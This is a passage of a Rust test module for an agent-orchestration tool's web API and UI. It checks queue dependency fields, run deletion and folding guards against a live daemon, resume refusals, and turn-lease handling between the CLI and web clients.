21367 query(Some(talks[0].id.clone())),
21368 header::HeaderMap::new(),
21369 )
21370 .await
21371 .unwrap()
21372 .0;
21373 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
21374 eprintln!(
21375 "DELTA_PAYLOAD {}",
21376 serde_json::json!({
21377 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
21378 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
21379 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
21380 "counts": [queue.len(), runs.len(), talks.len()],
21381 "blocked": queue_delta.len() - 1,
21382 })
21383 );
21384 }
21385
21386 #[test]
21387 fn runs_revision_moves_when_deleting_an_older_run() {
21388 let temp = TempDir::new().expect("tempdir");
21389 let runs = temp.path().join("runs");
21390 std::fs::create_dir_all(&runs).expect("create runs dir");
21391
21392 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
21393
21394 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
21395 std::thread::sleep(Duration::from_millis(10));
21396 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
21397
21398 let rev_before = runs_revision(&runs);
21399 assert!(rev_before > 0);
21400
21401 let old_dir = runs.join("20260901-100000-old1");
21402 std::fs::remove_dir_all(&old_dir).expect("remove old run");
21403
21404 let rev_after = runs_revision(&runs);
21405 assert_ne!(
21406 rev_before, rev_after,
21407 "deleting an older run must change the revision so other clients see the deletion"
21408 );
21409 }
21410
21411 fn write_state(runs: &FsPath, state: &RunState) {
21416 let dir = runs.join(&state.id);
21417 std::fs::create_dir_all(&dir).expect("run dir");
21418 std::fs::write(
21419 dir.join("run.json"),
21420 serde_json::to_string_pretty(state).expect("serialize run"),
21421 )
21422 .expect("write run.json");
21423 }
21424
21425 #[test]
21430 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
21431 let temp = TempDir::new().expect("tempdir");
21432 let runs = temp.path().join("runs");
21433 std::fs::create_dir_all(&runs).expect("create runs dir");
21434 let mut state = RunState::new(
21435 PathBuf::from("/repo/magi"),
21436 "main".to_owned(),
21437 "0123456789abcdef".to_owned(),
21438 "task".to_owned(),
21439 Config::default(),
21440 );
21441 state.id = "20260902-100000-c0de".to_owned();
21442 write_state(&runs, &state);
21443
21444 let rev_idle = runs_revision(&runs);
21445 std::thread::sleep(Duration::from_millis(10));
21446 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
21447 write_state(&runs, &state);
21448 let rev_started = runs_revision(&runs);
21449 assert_ne!(
21450 rev_idle, rev_started,
21451 "a seat starting must move the revision"
21452 );
21453
21454 std::thread::sleep(Duration::from_millis(10));
21455 state.seat_finished("judge-1");
21456 write_state(&runs, &state);
21457 let rev_finished = runs_revision(&runs);
21458 assert_ne!(
21459 rev_started, rev_finished,
21460 "and clearing it again must move the revision a second time"
21461 );
21462 }
21463
21464 #[tokio::test]
21465 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
21466 let fx = Fixture::start().await;
21471 let q = fx.queue();
21472
21473 let mut t = Task::new(
21474 "Task".to_owned(),
21475 "Instruction".to_owned(),
21476 PathBuf::from("/repo"),
21477 Source::Human,
21478 );
21479 t.block(
21480 vec!["20260101-000000-dead".to_owned()],
21481 Some("waiting on Task 1".to_owned()),
21482 );
21483 t.answers.push(crate::queue::AnsweredQuestion {
21484 question: "Which backend?".to_owned(),
21485 answer: "SQLite".to_owned(),
21486 });
21487 q.put(&mut t).expect("put t");
21488
21489 let res = fx.get("/api/queue").await;
21490 assert_eq!(res.status, 200);
21491 let list = res.json();
21492 let view = list
21493 .as_array()
21494 .expect("array")
21495 .iter()
21496 .find(|v| v["id"] == t.id)
21497 .expect("task in list");
21498 assert_eq!(view["status_str"], "blocked");
21499 assert_eq!(
21500 view["blocked_by"],
21501 serde_json::json!(["20260101-000000-dead"])
21502 );
21503 assert_eq!(view["block_reason"], "waiting on Task 1");
21504 assert_eq!(view["answers"][0]["question"], "Which backend?");
21505 assert_eq!(view["answers"][0]["answer"], "SQLite");
21506
21507 let res = fx
21511 .post(&format!("/api/queue/{}/hold", t.short()), None)
21512 .await;
21513 assert_eq!(res.status, 200);
21514 let held = res.json();
21515 assert_eq!(held["status_str"], "held");
21516 assert_eq!(held["blocked_by"], serde_json::json!([]));
21517 assert!(held["block_reason"].is_null());
21518 assert_eq!(held["answers"][0]["answer"], "SQLite");
21519 }
21520
21521 #[tokio::test]
21522 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
21523 let fx = Fixture::start().await;
21524 let q = fx.queue();
21525 let mk = |title: &str| {
21526 Task::new(
21527 title.to_owned(),
21528 "Instruction".to_owned(),
21529 PathBuf::from("/repo"),
21530 Source::Human,
21531 )
21532 };
21533 let mut root = mk("root");
21534 root.hold_manual(Some("waiting".to_owned()));
21535 q.put(&mut root).unwrap();
21536 let mut mid = mk("mid");
21537 mid.block(vec![root.id.clone()], None);
21538 q.put(&mut mid).unwrap();
21539 let mut leaf = mk("leaf");
21540 leaf.block(vec![mid.id.clone()], None);
21541 q.put(&mut leaf).unwrap();
21542
21543 let list = fx.get("/api/queue").await.json();
21544 let find = |id: &str| {
21545 list.as_array()
21546 .unwrap()
21547 .iter()
21548 .find(|v| v["id"] == id)
21549 .unwrap()
21550 .clone()
21551 };
21552 let leaf_view = find(&leaf.id);
21553 assert_eq!(
21554 leaf_view["waits_on"],
21555 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
21556 );
21557 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
21558 assert_eq!(
21559 find(&mid.id)["waits_on"],
21560 serde_json::json!([format!("{} (held)", root.short())])
21561 );
21562 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
21563 }
21564
21565 #[tokio::test]
21566 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
21567 let fx = Fixture::start().await;
21568 let q = fx.queue();
21569
21570 let mut t1 = Task::new(
21572 "Task 1".to_owned(),
21573 "Instruction 1".to_owned(),
21574 PathBuf::from("/repo"),
21575 Source::Human,
21576 );
21577 let run_id = "20260901-000000-r111";
21578 t1.runs.push(run_id.to_owned());
21579 write_run(&fx.runs(), run_id, RunStatus::Merged);
21580 q.put(&mut t1).expect("put t1");
21581
21582 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
21584 assert_eq!(res.status, 204);
21585 assert!(res.body.is_empty(), "204 No Content has no body");
21586 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
21587 assert!(
21588 fx.runs().join(run_id).exists(),
21589 "run directory must not be deleted when its task is deleted"
21590 );
21591
21592 let mut t2 = Task::new(
21594 "Task 2".to_owned(),
21595 "Instruction 2".to_owned(),
21596 PathBuf::from("/repo"),
21597 Source::Human,
21598 );
21599 t2.status = TaskStatus::Running;
21600 q.put(&mut t2).expect("put t2");
21601 let mut beat = crate::daemon::Status::new();
21602 beat.current = vec![crate::daemon::Current {
21603 worker: None,
21604 task: t2.id.clone(),
21605 run: "20260901-000000-r222".to_owned(),
21606 }];
21607 beat.updated_at = jiff::Timestamp::now();
21608 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21609 .expect("publish a heartbeat");
21610 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
21611 assert_eq!(res.status, 409);
21612 assert!(
21613 res.json()["error"]
21614 .as_str()
21615 .unwrap()
21616 .contains("live daemon")
21617 );
21618 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
21619
21620 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
21626 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21627 .expect("leave a stale heartbeat");
21628 let mut t3 = Task::new(
21629 "Task 3".to_owned(),
21630 "Instruction 3".to_owned(),
21631 PathBuf::from("/repo"),
21632 Source::Human,
21633 );
21634 t3.status = TaskStatus::Running;
21635 q.put(&mut t3).expect("put t3");
21636 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
21637 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
21638 assert_eq!(res.status, 204);
21639 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
21640 assert!(
21641 q.claim(&t3.id).is_ok(),
21642 "the stale lock went with it, so the id is claimable again"
21643 );
21644
21645 let res = fx.delete("/api/queue/nonexistent").await;
21647 assert_eq!(res.status, 404);
21648 }
21649
21650 #[tokio::test]
21651 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
21652 let fx = Fixture::start().await;
21653 let runs = fx.runs();
21654
21655 let run_id = "20260901-000000-fold";
21657 let mut state = RunState::new(
21658 PathBuf::from("/repo"),
21659 "main".to_owned(),
21660 "abc".to_owned(),
21661 "instruction".to_owned(),
21662 Config::default(),
21663 );
21664 state.id = run_id.to_owned();
21665 state.status = RunStatus::Merged;
21666 state.candidates.push(crate::run::Candidate {
21667 index: 0,
21668 label: 'A',
21669 agent: "a".to_owned(),
21670 branch: "b".to_owned(),
21671 worktree: PathBuf::from("/w"),
21672 summary: String::new(),
21673 stat: String::new(),
21674 files: 1,
21675 commits: 1,
21676 empty: false,
21677 failed: None,
21678 verified_noop: None,
21679 duration_ms: 0,
21680 folded: true,
21681 });
21682 let dir = runs.join(run_id);
21683 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
21684 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
21685 .expect("write artifact");
21686 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
21687 .expect("write run.json");
21688
21689 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
21691 assert_eq!(res.status, 204);
21692 assert!(res.body.is_empty(), "204 has no body");
21693 assert!(!dir.exists(), "run directory and artifacts must be deleted");
21694
21695 let run_running = "20260901-000000-rung";
21700 write_run(&runs, run_running, RunStatus::Prep);
21701 let mut beat = crate::daemon::Status::new();
21702 beat.current = vec![crate::daemon::Current {
21703 worker: None,
21704 task: "20260901-000000-task".to_owned(),
21705 run: run_running.to_owned(),
21706 }];
21707 beat.updated_at = jiff::Timestamp::now();
21708 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21709 .expect("publish a heartbeat");
21710 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
21711 assert_eq!(res.status, 409);
21712 assert!(
21713 res.json()["error"]
21714 .as_str()
21715 .unwrap()
21716 .contains("live daemon"),
21717 "the refusal must say who is holding it"
21718 );
21719 assert!(
21720 runs.join(run_running).exists(),
21721 "a run in flight keeps its directory"
21722 );
21723
21724 let run_unfolded = "20260901-000000-unfd";
21726 let mut state2 = RunState::new(
21727 PathBuf::from("/repo"),
21728 "main".to_owned(),
21729 "abc".to_owned(),
21730 "instruction".to_owned(),
21731 Config::default(),
21732 );
21733 state2.id = run_unfolded.to_owned();
21734 state2.status = RunStatus::Ready;
21735 state2.candidates.push(crate::run::Candidate {
21736 index: 0,
21737 label: 'A',
21738 agent: "a".to_owned(),
21739 branch: "b".to_owned(),
21740 worktree: PathBuf::from("/w"),
21741 summary: String::new(),
21742 stat: String::new(),
21743 files: 1,
21744 commits: 1,
21745 empty: false,
21746 failed: None,
21747 verified_noop: None,
21748 duration_ms: 0,
21749 folded: false,
21750 });
21751 let dir2 = runs.join(run_unfolded);
21752 std::fs::create_dir_all(&dir2).expect("create dir2");
21753 std::fs::write(
21754 dir2.join("run.json"),
21755 serde_json::to_string(&state2).unwrap(),
21756 )
21757 .expect("write run.json");
21758
21759 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
21760 assert_eq!(res.status, 409);
21761 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
21762 assert!(dir2.exists(), "unfolded run directory is kept");
21763
21764 let res = fx.delete("/api/runs/nonexistent").await;
21766 assert_eq!(res.status, 404);
21767 }
21768
21769 #[test]
21778 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
21779 let start = APP_JS
21780 .find("function renderStats() {")
21781 .expect("renderStats");
21782 let end = start
21783 + APP_JS[start..]
21784 .find("function statsTile(")
21785 .expect("the next top-level function");
21786 let body = &APP_JS[start..end];
21787
21788 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
21789 let gate_end = gate_start
21790 + body[gate_start..]
21791 .find("}\n renderStatsQueue")
21792 .expect("the gate's own closing brace, right before the unconditional call");
21793 let gated = &body[gate_start..gate_end];
21794
21795 assert_eq!(
21796 body.matches("renderStatsQueue(").count(),
21797 1,
21798 "renderStats must call renderStatsQueue exactly once: {body}"
21799 );
21800 assert!(
21801 !gated.contains("renderStatsQueue"),
21802 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
21803 run-derived panels on an empty run history - the queue panel has to render \
21804 regardless: {gated}"
21805 );
21806 }
21807
21808 #[test]
21809 fn web_ui_delete_contract_in_front_end() {
21810 assert!(APP_JS.contains("deleteRun:"));
21812 assert!(APP_JS.contains("deleteTask:"));
21813
21814 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
21816 ..APP_JS.find("function renderRuns").unwrap()];
21817 assert!(!run_cards_slice.to_lowercase().contains("delete"));
21818
21819 assert!(APP_JS.contains("renderRunDelete"));
21821 assert!(APP_JS.contains("runDeleteReason"));
21822 assert!(APP_JS.contains("magi fold"));
21823 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
21824
21825 assert!(APP_JS.contains("cancel.focus"));
21827 assert!(APP_JS.contains("armedRunDelete"));
21828 assert!(APP_JS.contains("renderTaskDeleteBox"));
21829 assert!(APP_JS.contains("armed${cap(key)}"));
21830
21831 assert!(APP_JS.contains("disabled: status === \"running\""));
21833 }
21834
21835 #[test]
21855 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
21856 let build = APP_JS
21857 .find("function createRunCard")
21858 .expect("createRunCard exists");
21859 let update = APP_JS
21860 .find("function updateRunCard")
21861 .expect("updateRunCard exists");
21862 let end = APP_JS
21863 .find("function renderRuns")
21864 .expect("renderRuns exists");
21865
21866 let builder = &APP_JS[build..update];
21868 let open = builder.find("refs = {").expect("createRunCard sets refs");
21869 let literal = &builder[open + "refs = {".len()..];
21870 let close = literal.find('}').expect("the refs literal is closed");
21871 let published: HashSet<&str> = literal[..close]
21872 .split(',')
21873 .filter_map(|entry| entry.split(':').next())
21875 .map(str::trim)
21876 .filter(|name| !name.is_empty())
21877 .collect();
21878 assert!(
21879 published.len() > 5,
21880 "the refs literal did not parse into names: {published:?}"
21881 );
21882
21883 let mut used: Vec<&str> = Vec::new();
21886 let updaters = &APP_JS[update..end];
21887 for (at, _) in updaters.match_indices("r.") {
21888 let before = updaters[..at].chars().next_back();
21891 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21892 continue;
21893 }
21894 let rest = &updaters[at + 2..];
21895 let len = rest
21896 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21897 .unwrap_or(rest.len());
21898 if len > 0 {
21899 used.push(&rest[..len]);
21900 }
21901 }
21902 assert!(
21903 used.len() > 5,
21904 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21905 );
21906
21907 let missing: Vec<&str> = used
21908 .iter()
21909 .copied()
21910 .filter(|name| !published.contains(name))
21911 .collect();
21912 assert!(
21913 missing.is_empty(),
21914 "a run card's updater reaches for {missing:?}, which `createRunCard` \
21915 never put in `refs` - every card will throw and the list will \
21916 render empty under a count line that says otherwise. Published: \
21917 {published:?}"
21918 );
21919 }
21920
21921 #[tokio::test]
21922 async fn folding_from_the_phone_reports_what_it_removed() {
21923 let fx = Fixture::start().await;
21924 let runs = fx.runs();
21925
21926 let id = "20260901-000000-fold";
21930 write_run(&runs, id, RunStatus::Stalled);
21931 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21932 assert_eq!(res.status, 200);
21933 assert_eq!(res.json()["removed_count"], 0);
21934 assert_eq!(res.json()["run"], id);
21935 assert!(
21936 runs.join(id).exists(),
21937 "a fold keeps the run's record; only the worktrees go"
21938 );
21939 }
21940
21941 #[tokio::test]
21942 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21943 let fx = Fixture::start().await;
21944 let runs = fx.runs();
21945 let wt = fx.home.path().join("wt").join("magi").join("dead");
21946 let id = "20260901-000000-dead";
21947 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21948 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21949 std::fs::create_dir_all(&wt).expect("worktree dir");
21950
21951 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21952 assert_eq!(res.status, 200, "{}", res.body);
21953 assert!(
21954 res.json()["removed_count"].as_u64().unwrap() > 0,
21955 "the worktree this build could not read a state for still went"
21956 );
21957 assert!(
21958 !runs.join(id).exists(),
21959 "an unreadable run has no candidate list to fold selectively, so \
21960 the whole record goes - same as `magi fold` on the CLI"
21961 );
21962 }
21963
21964 #[tokio::test]
21965 async fn deleting_an_unreadable_run_removes_it_wholesale() {
21966 let fx = Fixture::start().await;
21967 let runs = fx.runs();
21968 let wt = fx.home.path().join("wt").join("magi").join("gone");
21969 let id = "20260901-000000-gone";
21970 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21971 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21972 std::fs::create_dir_all(&wt).expect("worktree dir");
21973
21974 let res = fx.delete(&format!("/api/runs/{id}")).await;
21975 assert_eq!(res.status, 204, "{}", res.body);
21976 assert!(!runs.join(id).exists(), "the broken record is gone");
21977 assert!(!wt.exists(), "its worktree is gone too");
21978 }
21979
21980 #[tokio::test]
21981 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21982 let fx = Fixture::start().await;
21983 let runs = fx.runs();
21984 let id = "20260901-000000-live";
21985 write_run(&runs, id, RunStatus::Implementing);
21986
21987 let mut beat = crate::daemon::Status::new();
21988 beat.current = vec![crate::daemon::Current {
21989 worker: None,
21990 task: "20260901-000000-task".to_owned(),
21991 run: id.to_owned(),
21992 }];
21993 beat.updated_at = jiff::Timestamp::now();
21994 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21995 .expect("publish a heartbeat");
21996
21997 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21998 assert_eq!(res.status, 409);
21999 assert!(
22000 res.json()["error"]
22001 .as_str()
22002 .unwrap()
22003 .contains("live daemon"),
22004 "folding under a running agent would pull its worktree away"
22005 );
22006 }
22007
22008 #[tokio::test]
22009 async fn fold_merged_requires_a_pr_url() {
22010 let fx = Fixture::start().await;
22011 let runs = fx.runs();
22012 let id = "20260901-000000-nourl";
22013 write_run(&runs, id, RunStatus::Blocked);
22014
22015 let res = fx
22016 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
22017 .await;
22018 assert_eq!(res.status, 400, "{}", res.body);
22019
22020 let blank = fx
22021 .post(
22022 &format!("/api/runs/{id}/fold-merged"),
22023 Some(r#"{"pr_url":" "}"#),
22024 )
22025 .await;
22026 assert_eq!(blank.status, 400, "{}", blank.body);
22027 }
22028
22029 #[tokio::test]
22030 async fn fold_merged_is_404_for_an_unknown_run() {
22031 let fx = Fixture::start().await;
22032 let res = fx
22033 .post(
22034 "/api/runs/nosuchrun/fold-merged",
22035 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22036 )
22037 .await;
22038 assert_eq!(res.status, 404, "{}", res.body);
22039 }
22040
22041 #[tokio::test]
22042 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
22043 let fx = Fixture::start().await;
22044 let runs = fx.runs();
22045 let id = "20260901-000000-livemerge";
22046 write_run(&runs, id, RunStatus::Blocked);
22047
22048 let mut beat = crate::daemon::Status::new();
22049 beat.current = vec![crate::daemon::Current {
22050 worker: None,
22051 task: "20260901-000000-task".to_owned(),
22052 run: id.to_owned(),
22053 }];
22054 beat.updated_at = jiff::Timestamp::now();
22055 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22056 .expect("publish a heartbeat");
22057
22058 let res = fx
22059 .post(
22060 &format!("/api/runs/{id}/fold-merged"),
22061 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22062 )
22063 .await;
22064 assert_eq!(res.status, 409, "{}", res.body);
22065 assert!(
22066 res.json()["error"]
22067 .as_str()
22068 .unwrap()
22069 .contains("live daemon"),
22070 "correcting a run's merge underneath a running agent would race \
22071 whatever it is doing to the same `status`/`merge` fields"
22072 );
22073 }
22074
22075 #[tokio::test]
22080 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
22081 let fx = Fixture::start().await;
22082 let runs = fx.runs();
22083 let id = "20260901-000000-unconfirmed";
22084 write_run(&runs, id, RunStatus::Blocked);
22085
22086 let res = fx
22087 .post(
22088 &format!("/api/runs/{id}/fold-merged"),
22089 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22090 )
22091 .await;
22092 assert_eq!(res.status, 400, "{}", res.body);
22093 assert_eq!(
22094 read_run(&runs, id).unwrap().status,
22095 RunStatus::Blocked,
22096 "a pull request that could not be confirmed merged must leave \
22097 the run exactly where it was"
22098 );
22099 }
22100
22101 #[tokio::test]
22102 async fn terminal_runs_cannot_be_resumed() {
22103 let fx = Fixture::start().await;
22104 let runs = fx.runs();
22105
22106 for (status, word) in [
22107 (RunStatus::Merged, "merged"),
22108 (RunStatus::Ready, "ready"),
22109 (RunStatus::Failed, "failed"),
22110 ] {
22111 let id = format!("20260901-000000-{}", &word[..4]);
22112 write_run(&runs, &id, status);
22113 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
22114 assert_eq!(res.status, 409, "{word} must not be resumable");
22115 }
22116 }
22117
22118 #[tokio::test]
22119 async fn resume_is_refused_while_the_loop_is_running() {
22120 let fx = Fixture::start().await;
22121 let runs = fx.runs();
22122 let stalled = "20260901-000000-stal";
22123 write_run(&runs, stalled, RunStatus::Stalled);
22124
22125 let mut beat = crate::daemon::Status::new();
22129 beat.current = vec![crate::daemon::Current {
22130 worker: None,
22131 task: "20260901-000000-task".to_owned(),
22132 run: "20260901-000000-othr".to_owned(),
22133 }];
22134 beat.updated_at = jiff::Timestamp::now();
22135 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22136 .expect("publish a heartbeat");
22137
22138 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
22139 assert_eq!(res.status, 409);
22140 let err = res.json()["error"].as_str().unwrap().to_owned();
22141 assert!(err.contains("othr"), "it names what the loop is on: {err}");
22142 assert!(err.contains("stop it first"), "{err}");
22143 }
22144
22145 #[test]
22146 fn a_run_cannot_be_resumed_twice_at_once() {
22147 let home = TempDir::new().expect("temp home");
22148 let ui = Ui::new(
22149 Queue::at(home.path().join("queue")),
22150 Questions::at(home.path().join("questions")),
22151 Talks::at(home.path().join("talks")),
22152 home.path().join("runs"),
22153 home.path().to_path_buf(),
22154 PathBuf::from("/repo"),
22155 )
22156 .with_worktrees_root(home.path().join("wt"));
22157 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
22158 let again = ui.begin_resume("20260901-000000-once");
22159 assert!(again.is_err(), "a second tap must not start a second graph");
22160 drop(first);
22161 assert!(
22162 ui.begin_resume("20260901-000000-once").is_ok(),
22163 "and the claim is released when the attempt ends"
22164 );
22165 }
22166
22167 #[test]
22168 fn talk_thinking_tracks_only_its_held_turn_claim() {
22169 let home = TempDir::new().expect("temp home");
22170 let ui = Ui::new(
22171 Queue::at(home.path().join("queue")),
22172 Questions::at(home.path().join("questions")),
22173 Talks::at(home.path().join("talks")),
22174 home.path().join("runs"),
22175 home.path().to_path_buf(),
22176 PathBuf::from("/repo"),
22177 )
22178 .with_worktrees_root(home.path().join("wt"));
22179 let id = "20260901-000000-once";
22180
22181 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
22182 let turn = ui.begin_talk_turn(id).expect("claim turn");
22183 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
22184 assert!(
22185 !ui.is_thinking("20260901-000000-other"),
22186 "one talk's turn does not make another talk busy"
22187 );
22188 drop(turn);
22189 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
22190 }
22191
22192 #[test]
22193 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
22194 let home = TempDir::new().expect("temp home");
22195 let talks = Talks::at(home.path().join("talks"));
22196 let ui = Ui::new(
22197 Queue::at(home.path().join("queue")),
22198 Questions::at(home.path().join("questions")),
22199 talks.clone(),
22200 home.path().join("runs"),
22201 home.path().to_path_buf(),
22202 PathBuf::from("/repo"),
22203 )
22204 .with_worktrees_root(home.path().join("wt"));
22205 let id = "20260901-000000-cross";
22206
22207 let other = Talks::at(home.path().join("talks"))
22208 .claim_turn(id)
22209 .expect("claim")
22210 .expect("the other process wins");
22211 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
22212 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
22213 assert!(
22214 matches!(
22215 ui.begin_talk_turn_unless_pending(id).expect("start"),
22216 TalkTurnStart::Foreign
22217 ),
22218 "a foreign holder is refused, not queued behind"
22219 );
22220 assert!(
22221 !ui.talk_turns.lock().unwrap().live.contains(id),
22222 "a refused claim leaves no in-process entry behind"
22223 );
22224 drop(other);
22225 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
22226 assert!(talks.turn_held(id), "the web turn holds the lease");
22227 drop(turn);
22228 assert!(
22229 !talks.turn_held(id),
22230 "dropping the guard releases the lease"
22231 );
22232 }
22233
22234 fn consult_question(ui: &Ui) -> Question {
22235 let mut q = Question::new(
22236 "20260901-000000-consult".to_owned(),
22237 "implement".to_owned(),
22238 "impl-A".to_owned(),
22239 "Which backend?".to_owned(),
22240 String::new(),
22241 vec!["SQLite".to_owned(), "Redis".to_owned()],
22242 );
22243 ui.questions.put(&mut q).expect("question");
22244 q
22245 }
22246
22247 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
22248 (
22249 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
22250 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
22251 )
22252 }
22253
22254 #[tokio::test]
22255 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
22256 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22257 let q = consult_question(&ui);
22258 let talk = ui.talks.get(&id).expect("talk");
22259 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
22260 let before = consult_snapshot(&ui, &q, &id);
22261 let cli_talks = Talks::at(ui.home.join("talks"));
22262 assert_eq!(
22263 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
22264 .await
22265 .expect("CLI starter"),
22266 crate::consult::Started::Busy
22267 );
22268 assert_eq!(consult_snapshot(&ui, &q, &id), before);
22269 assert!(ui.is_thinking(&id));
22270 drop(guard);
22271 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
22272 }
22273
22274 #[tokio::test]
22275 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
22276 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22277 let q = consult_question(&ui);
22278 let talk = ui.talks.get(&id).expect("talk");
22279 let started = tmp.path().join("started");
22280 let release = tmp.path().join("release");
22281 let script = tmp.path().join("consult-agent.sh");
22282 std::fs::write(
22283 &script,
22284 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
22285 )
22286 .expect("script");
22287 let mut cfg = stub_config();
22288 cfg.agents[0].id = "mock".to_owned();
22289 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
22290 cfg.agents[0].env = std::collections::BTreeMap::from([
22291 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
22292 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
22293 ]);
22294 let questions = ui.questions.clone();
22295 let cli_talks = Talks::at(ui.home.join("talks"));
22296 let cli_q = q.clone();
22297 let turn = tokio::spawn(async move {
22298 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
22299 });
22300 let ready = tokio::time::timeout(Duration::from_secs(30), async {
22301 while !started.exists() {
22302 tokio::time::sleep(Duration::from_millis(10)).await;
22303 }
22304 })
22305 .await;
22306 let refusal = if ready.is_ok() {
22309 let before = consult_snapshot(&ui, &q, &id);
22310 let result = talk_say(
22311 State(Arc::clone(&ui)),
22312 Path(id.clone()),
22313 Ok(Json(NewTalkTurn {
22314 reply_to: None,
22315 text: "another message".to_owned(),
22316 attachments: Vec::new(),
22317 })),
22318 )
22319 .await;
22320 Some((result, before, consult_snapshot(&ui, &q, &id)))
22321 } else {
22322 None
22323 };
22324 std::fs::write(&release, "").expect("release agent");
22325 let done = turn.await.expect("join CLI turn");
22326 ready.expect("agent started before deadline");
22327 let (result, before, after) = refusal.expect("web request");
22328 let error = result.expect_err("web must refuse the CLI's turn");
22329 assert_eq!(error.status, StatusCode::CONFLICT);
22330 assert!(error.message.contains("a turn is already running"));
22331 assert_eq!(
22332 after, before,
22333 "refusal preserves question, draft and history"
22334 );
22335 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
22336 let guard = ui
22337 .begin_talk_turn(&id)
22338 .expect("web claim")
22339 .expect("free again");
22340 drop(guard);
22341 }
22342
22343 #[test]
22344 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
22345 let home = TempDir::new().expect("temp home");
